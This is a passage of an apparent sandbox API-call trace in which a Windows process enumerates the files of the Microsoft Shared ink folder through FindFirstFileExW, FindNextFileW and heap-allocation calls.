lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0143.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.238] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.238] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e3b0 [0143.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98fa78 [0143.238] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.238] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0143.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.238] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.238] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e3d0 [0143.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98fb80 [0143.238] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.238] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0143.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.238] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.238] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e3f0 [0143.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98fc88 [0143.238] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.238] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0143.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.239] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.239] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.239] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.239] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.239] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e410 [0143.239] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98fd90 [0143.239] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.239] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0143.239] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.239] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.239] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.239] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.239] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.239] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e430 [0143.239] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98fe98 [0143.239] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.239] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.239] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.239] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.239] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.239] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.239] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.239] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e450 [0143.239] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ffa0 [0143.239] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.239] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0143.239] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.239] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.239] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.239] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.239] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.239] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e470 [0143.240] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9900a8 [0143.240] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.240] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0143.240] GetLastError () returned 0x12 [0143.240] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c38 [0143.240] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.240] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.240] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0143.240] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0143.240] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0143.240] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0143.240] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0143.240] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0143.240] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0143.240] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0143.240] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0143.240] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0143.240] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0143.240] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0143.240] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0143.240] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0143.240] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0143.240] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0143.240] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0143.241] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0143.241] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0143.241] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0143.241] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0143.241] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0143.241] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.241] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0143.241] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0143.241] GetLastError () returned 0x12 [0143.241] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.241] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0143.242] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.242] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.242] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0143.242] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.242] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, 